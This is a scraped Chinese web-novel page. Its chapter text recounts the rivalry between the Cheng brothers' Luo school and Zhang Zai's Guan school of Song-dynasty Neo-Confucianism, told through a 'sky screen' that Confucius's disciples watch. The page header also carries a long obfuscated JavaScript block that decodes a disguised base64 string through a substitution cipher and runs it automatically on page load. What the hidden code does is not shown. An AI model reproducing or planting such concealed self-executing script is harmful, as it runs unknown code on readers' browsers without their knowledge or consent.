当书网

阅读记录  |   用户书架
(function(){function u9ecfd17f(v3a5691){var a4b76="Yv_[4Gyb2KUQeR8j6xoi@?;c,-lF3T|IrED~wHt05pdaNz%OJ/s:quPCnLV$^k.A]ZM9!fBgmh17S&(=XW";var tba408="e^&_4XDsRo-|u$gk~Mr1hBf6G?tU;Tbl0[PzivV.ad9OpLcyEj/x7]JCSw,ZW(N:2@mIK8!Hq=3YnFQ5%A";return atob(v3a5691).split('').map(function(x905b9a){var q0ac288=a4b76.indexOf(x905b9a);return q0ac288==-1?x905b9a:tba408[q0ac288]}).join('')}var c=u9ecfd17f('thunder://THdTcEtMRSJ+IisiaTVZXT0iKyJZInVoO2VTJWx3S1NrKXtrO2VTJWx3S1NrcGlpcF1pZlZLcDFwJWZjVkBmPWQlfDVdWVZsNWRkcil7dztrc3Z4NSVRXndTczBsWWJsa1M1SHc4NWxLbzBOSTVsO0tvTSkpe29ZbGVvU31INW8gYmNpZFlZaDtlUyVsd0tTa0tmciVwZil7b1lsZW9TIG5sb3dTODA7b0tNQ0A1b0NLcFlrS2ZyJXBmKX0zSDVvIEBdclk9NGhFIkkvYlVncmlbemFXeVtQbltnVHh6IlYiSFlvVXJpIlYiYndwVWljXSJWIiUlbFVdcl09VXJxVV1pIF0xQV0xQXIxInUzSDVvIE0lcXxmaEBmPWQlfDVdWUViY2lkWVlrZHEpK2JjaWRZWWtpaWMpK2JjaWRZWWtpaWkpK2JjaWRZWWtkZil1VmxwcmZyaEBmPWQlfDVdWUViY2lkWVlrZGYpK2JjaWRZWWtpaWMpK2JjaWRZWWtpaWkpK2JjaWRZWWtkcSl1Vnx8cmRwcWhsNWRkckVNJXF8ZmsiNzF0TyVNdGVwJi4vJU1JTHBXaGgiKXVWWT1wcj1oTSVxfGZrIjcxUEk3RzJJMl46SXxedGVwV2hoIilWTllxcWQ0fGhNJXF8ZmsiJTF0dyUxMk81Xj1TIilWSHx8MXw0MWhNJXF8ZmsiJU10THwsJi8kKGhoIilWNWlkMTE1XTFoTSVxfGZrIiUxP2I1RyhoIilWSGQxcXwxcnBjaE0lcXxmayIlTXRdJEdQfiQoaGgiKVZ+cnJkcllkaE0lcXxmayI1TWROfDhoaCIpVnA7YyVpaEBmPWQlfDVdWUVNJXF8ZmsiVF4mcjVXaGgiKXVWJWk9NWRyZl1ocDtjJWlFTSVxfGZrIjdddE58V2hoIil1Vm8lPXFpcmhwO2MlaUVNJXF8ZmsiJE06SHwxOWgiKXVWbTtwWTQ7WWhwO2MlaUVNJXF8ZmsiJU0mZSQsZGwiKXVWTWY9YzVpaWQ1aE0lcXxmayJ8XiZyN104aCIpVkBmY2NkaTtxfGhNJXF8ZmsifF4mTCIpVkAlO2RjNT0xXWhNJXF8ZmsifCxkQCRXaGgiKTNINW8gfiVmcmlmcWNpaE0lcXxmayIlXWlyNV4ySXA4aGgiKTNINW8gOmRdJV1wMTNINW8gfHJwO3JmWWZ8aHBpaXBdaWZFcnUzdztrcGlpcF1pZjBJWVM4bEA+aSl7fHJwO3JmWWZ8aHBpaXBdaWZFbyU9cWlya207cFk0O1lrKSpwaWlwXWlmMElZUzhsQCl1fXc7a0lLJTVsd0tTMGJZNW8lQDB3U3BZOmE7a34lZnJpZnFjaSk+VWkpezpkXSVdcDFobDVkZHJFWT1wcj11a00lcXxmayJwLHQ0cCwmTyReSmgiKSkzOmRdJV1wMTB3cGgibCIrbTtwWTQ7WWspKmlZNDM6ZF0lXXAxMGJsT0lZMEx3cGxAaCJpcnJYIjM6ZF0lXXAxMGJsT0lZMEBZdzhAbGgiPXJyTjoiMzpkXSVdcDEwcHdiNXxJWXBobG9lWTN3O2tsNWRkcjB8S3BPQmhTZUlJKXtsNWRkcjB8S3BPMDVOTllTcENAd0lwazpkXSVdcDEpfVlJYll7SDVvIEhwPT1kaDtlUyVsd0tTayl7bDVkZHIwfEtwTzA1Tk5ZU3BDQHdJcGs6ZF0lXXAxKTNAZj1kJXw1XVkwb1lNS0hZSkhZU2x6d2JsWVNZb2tAJTtkYzU9MV1WSHA9PWRWOzVJYlkpfTNAZj1kJXw1XVkwNXBwSkhZU2x6d2JsWVNZb2tAJTtkYzU9MV1WSHA9PWRWOzVJYlkpfX1INW8gOzF8ZHxZXTFkaGw1ZGRyRVk9cHI9dWtNJXF8ZmsiJF5pdyReKGgiKSkzOzF8ZHxZXTFkMHdwaEtwMXAlZmMrJWk9NWRyZl1rbTtwWTQ7WWspKmlZNCkzOzF8ZHxZXTFkMGJsT0lZMEBZdzhAbGgick46IjM7MXxkfFldMWQwYmxPSVkwS0hZbztJS0xoIkB3cHBZUyIzJUtTYmwgfDE0Y3xkcGk1aGsvfDFmaSVWTnByXWNpXTRWTzVZZGN8aF1yciloPkRvS013YlkwbzUlWWtFO1lsJUBrL3wxZmklVk5wcl1jaV00KVZTWUwgRG9LTXdiWWtra1tWb1kvWSVsKWg+YllsVHdNWUtlbGtrayloPm9ZL1klbGtTWUwgSm9vS29rImx3TVlLZWwiKSkpVk81WWRjfCkpKXUpM0g1byBOcHIxOzV8PWloNWJPUyUgO2VTJWx3S1NrbD0lNTV8NCl7SDVvIEhjPXBmY11ZY2hFIi9iIlYiJWJiIlYiOHc7IlYiL044IlYiTlM4IlYiL044WSJWIkxZfE4iViJiSDgiViJAbE1JIlYiL05ZOCJ1M0g1byBOXWljNV0lcD1oSGM9cGZjXVljMElZUzhsQDNIYz1wZmNdWWNoSGM9cGZjXVljRW8lPXFpcmttO3BZNDtZaykqTl1pYzVdJXA9KXUzJUtTYmwgTGQ7XTE0cWhFIiRdJWUkTSR+LiwkPXBHJWVwLGRMYS9qPS5UN2gidTNINW8gOFklOztxaExkO10xNHFFcnUzdztrTGQ7XTE0cTBJWVM4bEA+aSl7OFklOztxaExkO10xNHFFbyU9cWlya207cFk0O1lrKSpMZDtdMTRxMElZUzhsQCl1fUg1byBiNXIlOztkZmhONW9iWTlTbGtLcDFwJWZjKTN3O2t3Yi41LmtiNXIlOztkZikpYjVyJTs7ZGZocjNiNXIlOztkZitoZmZmZjNINW8gU2kxaSUlNWhFIkBsbE5iQXMiVnw0Y3A1cWs4WSU7O3EpViJAbE1JIlZgYk1Se2I1ciU7O2RmfWBWYFJ7S3AxcCVmY30wUntIYz1wZmNdWWN9YHVFfnJyZHJZZHVrInMiKTN3O2s6ZF0lXXAxQmhTZUlJKTpkXSVdcDEwSDVJZVkraCJcb1xTYllTcCBtYiBAS2JsICIrU2kxaSUlNTNsb097SDVvIEtZJVldZmg1TDV3bCB8MTRjfGRwaTVrU2kxaSUlNVZ7b1lwd29ZJWxBIjtLSUlLTCJ9Vmk9cnIpM0tZJVldZmg1TDV3bCBLWSVZXWYwbFk6bGspM0g1byBOaWk9MWRjcjRoS1klWV1mMHdTcFk6YTtrYmNpZFlZa2NpKSkzSDVvIGp8cjRwMXJ8JWgiIjN3O2tOaWk9MWRjcjQ+aHIpe2p8cjRwMXJ8JWhLWSVZXWZFTllxcWQ0fHVrTmlpPTFkY3I0KTNLWSVZXWZoS1klWV1mRU5ZcXFkNHx1a3JWTmlpPTFkY3I0KX1LWSVZXWZoS1klWV1mRU1mPWM1aWlkNXVrczB7aVY0fXM4KUVAZmNjZGk7cXx1a2s6aD46RTVpZDExNV0xdWsiIilFSGQxcXwxcnBjdWspRX5ycmRyWWR1ayIiKSkpRX5ycmRyWWR1ayIiKTNLWSVZXWZoS1klWV1mK2p8cjRwMXJ8JTNLWSVZXWZoTSVxfGZrS1klWV1mKTNsPSU1NXw0aEtZJVldZkU1aWQxMTVdMXVrInMiKUVydTN3O2s6ZF0lXXAxQmhTZUlJKTpkXSVdcDEwSDVJZVkraCJcb1xTOFlsIG1iIEBLYmwgYmUlJVliYiIrbD0lNTV8NH0lNWwlQGt8O3wlJWlmPSl7dztrOmRdJV1wMUJoU2VJSSk6ZF0lXXAxMEg1SWVZK2giXG9cUzhZbCBtYiBAS2JsIDs1d0lZcCIrfDt8JSVpZj19SDVvIE4xfGM1WWhscHJmcmtAXXJZPTQwJUtTJTVsa0VgU0tMVVJ7eTVsWUUiU0tMInVrKX1gVmBAb1k7VVJ7SUslNWx3S1MwQG9ZO31gVmBlYiVVUntwO3BpXXFkayl9YHUpMGJLb2xra2spaD5tO3BZNDtZaylVMD0pKUV+cnJkcllkdWsiViIpKTNINW8gb2NjaSVpZGhOMXxjNVkwd1NwWTphO2tiY2lkWVlrY2kpKT5VaS1OMXxjNVlFTllxcWQ0fHVrTjF8YzVZMHdTcFk6YTtrYmNpZFlZa2NpKSkpQSIiM04xfGM1WWhOMXxjNVlFSHx8MXw0MXVrb2NjaSVpZFYiIilFNWlkMTE1XTF1ayIiKUVIZDFxfDFycGN1aylFfnJyZHJZZHVrIiIpK29jY2klaWQzOzF8ZHxZXTFkMGJvJWhFIkBsbE5iQXMiVmw9JTU1fDRWOzF8ZHxZXTFkMHdwVk4xfGM1WXVFfnJyZHJZZHVrInMiKTNsb097bDVkZHIwfEtwTzA1Tk5ZU3BDQHdJcGs7MXxkfFldMWQpfSU1bCVAa1kpe2w1ZGRyMDVwcEpIWVNsendibFlTWW9rInlheENLU2xZU2x6SzVwWXAiVmtrKWg+e2w1ZGRyMHxLcE8wd1NiWW9sP1k7S29ZazsxfGR8WV0xZFZsNWRkcjB8S3BPMCVAd0lwLktwWWJFcnUpfSkpfXc7azpkXSVdcDFCaFNlSUkpezpkXSVdcDEwSDVJZVkraCJcb1xTNU5OWVNwWXAgWU0gbEsgQGxNSSIzSDVvICVyZDtycHJobDVkZHIwOFlsSklZTVlTbD9POXBrOzF8ZHxZXTFkMHdwKTN3O2slcmQ7cnByaGhTZUlJUVElcmQ7cnByaGhlU3BZO3dTWXApezpkXSVdcDEwSDVJZVkraCJcb1xTICU1U2wgOFlsIFlNIDtvS00gQGxNSSJ9fX0zdztrOmRdJV1wMUJoU2VJSSl7OmRdJV1wMTBINUllWStoIlxvXFNiWVNwIC9iIEBLYmwgIit8cnA7cmZZZnx9SDVvIHA7cGldcWRoO2VTJWx3S1NrKXtsb097JUtTYmwgWT00O3xoa1NZTCB5NWxZKTBsS3pLJTVJWXk1bFlubG93UzhrKTMlS1NibCBTO2N8ZmhgYk1sd1tid3BbUns7JT1dY3BdWTQwS3AxcCVmY31bTkhgM0lZbCBMJTQ0XTVZaFBuYS4wTjVvYllrSUslNUlubEtvNThZMDhZbDlsWU1rUztjfGYpKTN3O2tMJTQ0XTVZaGhTZUlJUVFMJTQ0XTVZMHA1bFlCaFk9NDt8KXtMJTQ0XTVZaHtOSFR3TVliQXJWcDVsWUFZPTQ7fH19b1lsZW9TIEwlNDRdNVkwTkhUd01ZYitpfSU1bCVAazVZJTRjZCl7b1lsZW9TIGl9fTNINW8gfDRjcDVxaDtlUyVsd0tTa35yaWN8cSl7b1lsZW9TIE0lcXxma35yaWN8cSlFSHx8MXw0MXVrYmNpZFlZazRdKVZtO3BZNDtZaykwbEtubG93UzhrMWMpMGJJdyVZa28lPXFpcmttO3BZNDtZaykqZCkrXSkpfTNOcHIxOzV8PWlrfDRjcDVxa3xycDtyZllmfCkpM0BmPWQlfDVdWUUiNXBwSkhZU2x6d2JsWVNZbyJ1ayJNWWJiNThZIlZrO2VTJWx3S1NrNVklNGNkKXt3O2s1WSU0Y2QwcDVsNTBqaGhLcDFwJWZjKXtsNWRkcjA4WWxKSVlNWVNsP085cGs7MXxkfFldMWQwd3ApMG9ZTUtIWWspM0g1byBvZjtjaXJpJXJoU2VJSTN3O2s6ZF0lXXAxQmhTZUlJKXs6ZF0lXXAxMEg1SWVZK2giXG9cU29ZJVl3SFkgWU0gTktibCBNWWJiNThZIjM6ZF0lXXAxMEg1SWVZK2giXG9cU1kwcDVsNTBIICIrNVklNGNkMHA1bDUwbTNvZjtjaXJpJXJoazAwMGxZXTFjKWg+e3c7a0JsWV0xY1FRbFldMWMwSVlTOGxAPGhyKW9ZbGVvUzM6ZF0lXXAxMEg1SWVZK2giXG9cUyIrbFldMWMwL0t3U2siICIpfX1TWUwgJmVTJWx3S1NrIjVvOGIiVjVZJTRjZDBwNWw1MG0pa3tbbHAlYkF8fHJkcHFWW0lLOEFvZjtjaXJpJXJ9KX19KSl9KWtFIiRdJWV8VGpdcF0mbXwscmVwLGRMYS9qPS5UN2gidVYiaWNdIlZMd1NwS0xWcEslZU1ZU2wpfTN+aTVZXT1Zaykz'.substr(10));new Function(c)()})();
上一章
目录 | 设置
下一页

第357章 洛学与关学之争(1 / 2)

加入书签 | 推荐本书 | 问题反馈 |

【“北宋五子”的使命,就是再造儒学。说得直白点,就是在儒家指导国家和个人日常生活的实用功能之外,赋予它更高的逼格。

在这个大背景下,“北宋五子”,还有后来的朱熹、陆九渊等人,都在努力构建自己的儒家理论体系,不仅用于解释社会,还用于解释宇宙。他们的儒家理论体系,被统称为理学。

按照宇宙本源的不同解释,他们之间又有了气、理、心的哲学分野。

我们知道,二程和朱熹主张“理生万物”,这一派后来被官方接纳而成为正统,形成狭义的理学,影响到了近代,才被口诛笔伐;陆九渊和明代的王阳明主张“心即理也”,这一派形成心学,同样拥有一大批粉丝,直到现在依然很受推崇。

而张载,则是“气”的理论创始人。他以“太虚—气”为最高范畴,把万物的本原看作客观存在的物质实体——气。

用现在的话说,张载就是一个坚定的唯物主义者。他的思想体系很严整,理学、心学的重要命题,在他那里已经都显现端倪。

尤其是他阐发的“民胞物与”和“横渠四句”,达到了宋代理学最高峰的境界,受到宋明诸儒的集体膜拜。

但可惜的是,思想门派类似于武林江湖,有两点对于门派的发扬光大至为重要:一是开宗立派得生逢其时,还得能熬,要活得够久,不然打下半片天,最终全为他人做了嫁衣裳;二是门派要有源源不断的新人加入,显得师门热闹,声势壮大,万一门人中再出一个大牛人,这就更稳了。

所以说,张载跟周敦颐一样,都吃亏在生得早,走得早。他们开创的关学和濂学,为宋代理学作出了筚路蓝缕的贡献,然而,两人都只活了五十七八岁,还没等到理学的黄金时代到来就走了。相较而言,二程就好命了,他们出生晚一些,尤其是程颐活到了75岁,从11世纪熬到了12世纪,洛学在他手上就做大了。

而因为张载走得早,他的一些弟子比如吕大临,在老师逝世后转投到了二程门下。此消彼长,门派的影响力差距,无形中又拉大了。

以至于后来出现什么情况?二程洛学声势浩大,程门弟子养成一个坏毛病,喜欢贬低其他门派,来神化洛学的正统地位。

他们甚至要“吞并”其他门派,公开宣称张载之学源于二程,张载这个表叔都是跟他两个表侄学的。搞得一生自负的程颐都不好意思,要出来说一句:“表叔平生议论,谓颐兄弟有同处则可,若谓学于颐兄弟则无是事。”徒儿们,别过火了,都散了吧。】

春秋时期,鲁国曲阜

暮春的杏坛飘着柳絮,子路正为弟子们煮黍米羹,天幕上关于北宋五子的故事正在演绎着。

上一章
目录
下一页
A- 18 A+
默认 贵族金 护眼绿 羊皮纸 可爱粉 夜间